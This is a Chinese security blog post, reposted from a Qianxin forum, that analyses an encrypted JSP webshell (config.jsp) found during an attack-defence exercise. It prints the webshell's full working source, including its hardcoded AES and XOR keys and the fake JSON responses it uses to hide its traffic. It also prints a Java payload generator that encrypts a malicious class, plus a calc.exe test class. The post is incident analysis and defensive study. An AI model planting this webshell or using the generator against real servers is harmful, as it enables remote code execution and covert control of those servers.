从零开始的内存马分析——如何骑马反杀(一)上

举报
亿人安全 发表于 2023/05/22 13:22:23 2023/05/22
【摘要】 在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……0x00 前言在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,...

在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……

0x00 前言

在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……

0x01 木马分析

1.1 在线检测

图片

1.2 木马总览


上图是apache解析后产生的java文件和相关的字节码

图片


上图是攻击方上传的木马

图片

图片

1.2 特定报文头

POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 208

报文头部,有特定的gzip

1.3 测试类

我们需要一个calc的测试类供我们测试

package com.Test.Basic;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.Base64;public class Echo_Base64 {    private static String parseByte2HexStr(byte[] buf){
        StringBuffer sb = new StringBuffer();        for (int i = 0; i < buf.length; i++) {
            String hex = Integer.toHexString(buf[i] & 0xFF);            if(hex.length() ==1){
                hex = '0' + hex;
            }
            sb.append(hex.toUpperCase());
        }        return sb.toString();
    }    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ByteCodeEvil.class.getName());        byte[] code = clazz.toBytecode();
        String bytes = Base64.getEncoder().encodeToString(code);
        System.out.println(parseByte2HexStr(code));
        System.out.println(bytes);
    }
}
package com.Test.Basic;import java.io.IOException;public class ByteCodeEvil {    static {        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {            throw new RuntimeException(e);
        }
    }
}
package com.Test.Basic;class Loader extends ClassLoader {    public Loader(ClassLoader loader) {        super(loader);
    }    public Class loadClass(byte[] bytes) {        return super.defineClass(bytes, 0, bytes.length);
    }
}
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.zip.GZIPInputStream;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;public class AVpayloadGenerator {    /**
     * 加密
     *
     * @param  需要加密的内容
     * @return
     */
    public static byte[] encrypt2(byte[] byteContent) {        try {
            SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES");
            Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding
           // byte[] byteContent = content.getBytes("utf-8");
            cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化
            byte[] result = cipher.doFinal(byteContent);            return result; // 加密
        } catch (Exception e){
            e.printStackTrace();
        }        return null;
    }/**
 * base64解密,目测是魔改的base
 */

    public static byte[] base64Encode(byte[] bytes) {
        byte[] value = null;        try {            Class<?> base64 = Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
        } catch (Exception exception) {            try {                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");                Object Encoder = base64.newInstance();                value = ((String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes})).getBytes();
            } catch (Exception exception1) {
            }
        }        return value;
    }    public static byte[] base64Decode(byte[] bytes) {
        byte[] value = null;        try {            Class<?> base64 = Class.forName("java.util.Base64");            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
        } catch (Exception exception) {            try {                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");                Object decoder = base64.newInstance();                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
            } catch (Exception exception1) {
            }
        }        return value;
    }    /**将二进制转换成16进制
     * @param buf
     * @return
     */

    public static String parseByte2HexStr(byte buf[]) {
        StringBuffer sb = new StringBuffer();        for (int i = 0; i < buf.length; i++) {            String hex = Integer.toHexString(buf[i] & 0xFF);            if (hex.length() == 1) {
                hex = '0' + hex;
            }
            sb.append(hex.toUpperCase());
        }        return sb.toString();
    }    public static byte[] xor(byte[] data) {
        byte[] key;        int len;        int keyLen;        int index;        int i;        for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) {
            index = i - 1;
            data[index] = (byte) (data[index] ^ key[i % keyLen]);
            i++;
        }        return data;
    }    public static void ReturnMes(String message){
        byte[] bb = base64Decode(message.getBytes());
        System.out.println(uncompress(xor(bb)));
    }    public static byte[] uncompress(byte[] bytes) {        if (bytes == null || bytes.length == 0) {            return null;
        }
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ByteArrayInputStream in = new ByteArrayInputStream(bytes);        try {
            GZIPInputStream ungzip = new GZIPInputStream(in);
            byte[] buffer = new byte[256];            int n;            while ((n = ungzip.read(buffer)) >= 0) {
                out.write(buffer, 0, n);
            }
        } catch (Exception e) {

            e.printStackTrace();
        }        return out.toByteArray();
    }    /*
    * 执行的函数
    * ByteCodeEvil 恶意类,自己构造在同一目录,
    * */
    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ByteCodeEvil.class.getName());
        byte[] code = clazz.toBytecode();        //String aaa="aaa";
        byte buff[];
        buff = encrypt2(code);       // buff = encrypt2(aaa.getBytes());
        String result;
        result = parseByte2HexStr(buff);
        System.out.println(result);

    }
}

如上脚本自行编写
AVpayloadGenerator.java

是一个逆向脚本,用于我们生成发送流量的报文

1.4 木马危害

该木马本质没有任何危害,疑似冰蝎类

1.5 config.jsp


    class Loader extends ClassLoader{        public Loader(ClassLoader loader){
            super(loader);
        }        public Class loadClass(byte[] bytes){            return super.defineClass(bytes,0,bytes.length);
        }
    }    public static byte[] unHex(byte[] data){int len = data.length;byte[] out = new byte[len / 2];for (int i = 0, j = 0; j < len; i++) {int f =  Character.digit(data[j++], 16) << 4;f |= Character.digit(data[j++], 16);out[i] = (byte)(f & 0xFF);}return out;}public byte[] aes128(byte[] s, int mode){try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);}catch(Exception e){return null;}}public static byte[] xor(byte[] data){byte[] key=base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());int len=data.length;int keyLen=key.length;int index=0;for(int i = 1; i <= len; i++){index=i-1;data[index] =(byte)(data[index]^key[(i%keyLen)]); }return data; }public static byte[] base64Encode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value =(byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value =((String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes })).getBytes();} catch(Exception e2){}}return value;}public static byte[] base64Decode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value =(byte[])decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value =(byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String( bytes )});} catch(Exception e2){}}return value;}    try {

            byte[] buffer = new byte[102400];    java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();    ServletInputStream inputStream = request.getInputStream();    int read = 0;    while ((read = inputStream.read(buffer))>0){        bufferStream.write(buffer,0,read);    }    byte[] requestData = bufferStream.toByteArray();byte[] _requestData = new byte[requestData.length - 112];java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);requestData = _requestData;
        requestData = unHex(requestData);requestData = aes128(requestData, 2);        Class payloadClass = null;        if ((payloadClass = (Class) application.getAttribute("inIT"))==null){
            application.setAttribute("inIT",new Loader(getClass().getClassLoader()).loadClass(requestData));
        }else {
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();            Object f = payloadClass.newInstance();
            f.equals(request);
            f.equals(arrOut);
            f.equals(requestData);
            f.toString();
            byte[] responseData = arrOut.toByteArray();
            arrOut.reset();
            responseData = xor(responseData);responseData = base64Encode(responseData);
            arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));arrOut.write(responseData);arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));responseData = arrOut.toByteArray();response.setStatus(200);response.setHeader("Content-Type","application/json");response.getOutputStream().write(responseData);
        }
    }catch (Throwable e){

    }

由于木马是html实体编码过后的,我们将他进行分段解密

<jsp:declaration> 声明变量

</jsp:scriptlet> 存放脚本

1.5.1 实体化解码

https://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode

图片

图片

1.5.2 代码恢复

我们恢复一下java代码

class Loader extends ClassLoader{    public Loader(ClassLoader loader)
    {        super(loader);
    }    public Class loadClass(byte[] bytes)
    {        return super.defineClass(bytes, 0, bytes.length);
    }
}public static byte[] unHex(byte[] data)
{    int len = data.length;    byte[] out = new byte[len / 2];    for(int i = 0, j = 0; j &lt; len; i++)
    {        int f = Character.digit(data[j++], 16) &lt;&lt; 4;
        f |= Character.digit(data[j++], 16);
        out[i] = (byte)(f &amp; 0xFF);
    }    return out;
}public byte[] aes128(byte[] s, int mode)
{    try
    {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"));        return c.doFinal(s);
    }    catch(Exception e)
    {        return null;
    }
}public static byte[] xor(byte[] data)
{    byte[] key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());    int len = data.length;    int keyLen = key.length;    int index = 0;    for(int i = 1; i &lt;= len; i++)
    {
        index = i - 1;
        data[index] = (byte)(data[index] ^ key[(i % keyLen)]);
    }    return data;
}public static byte[] base64Encode(byte[] bytes)
{
    Class base64;    byte[] value = null;    try
    {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]
        {            byte[].class
        }).invoke(Encoder, new Object[]
        {
            bytes
        });
    }    catch(Exception e)
    {        try
        {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = ((String) Encoder.getClass().getMethod("encode", new Class[]
            {                byte[].class
            }).invoke(Encoder, new Object[]
            {
                bytes
            })).getBytes();
        }        catch(Exception e2)
        {}
    }    return value;
}public static byte[] base64Decode(byte[] bytes)
{
    Class base64;    byte[] value = null;    try
    {
        base64 = Class.forName("java.util.Base64");
        Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
        value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
        {            byte[].class
        }).invoke(decoder, new Object[]
        {
            bytes
        });
    }    catch(Exception e)
    {        try
        {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
            {
                String.class
            }).invoke(decoder, new Object[]
            {                new String(bytes)
            });
        }        catch(Exception e2)
        {}
    }    return value;
}try{    byte[] buffer = new byte[102400];
    java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();
    ServletInputStream inputStream = request.getInputStream();    int read = 0;    while((read = inputStream.read(buffer)) &gt; 0)
    {
        bufferStream.write(buffer, 0, read);
    }    byte[] requestData = bufferStream.toByteArray();    byte[] _requestData = new byte[requestData.length - 112];
    java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
    requestData = _requestData;
    requestData = unHex(requestData);
    requestData = aes128(requestData, 2);
    Class payloadClass = null;    if((payloadClass = (Class) application.getAttribute("inIT")) == null)
    {
        application.setAttribute("inIT", new Loader(getClass().getClassLoader()).loadClass(requestData));
    }    else
    {
        java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
        Object f = payloadClass.newInstance();
        f.equals(request);
        f.equals(arrOut);
        f.equals(requestData);
        f.toString();        byte[] responseData = arrOut.toByteArray();
        arrOut.reset();
        responseData = xor(responseData);
        responseData = base64Encode(responseData);
        arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
        arrOut.write(responseData);
        arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
        responseData = arrOut.toByteArray();
        response.setStatus(200);
        response.setHeader("Content-Type", "application/json");
        response.getOutputStream().write(responseData);
    }
}catch(Throwable e)
{}

代码中的该段,伪造json返回数据,模拟正常业务

文章首发于奇安信攻防社区

https://forum.butian.net/share/1811

图片

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。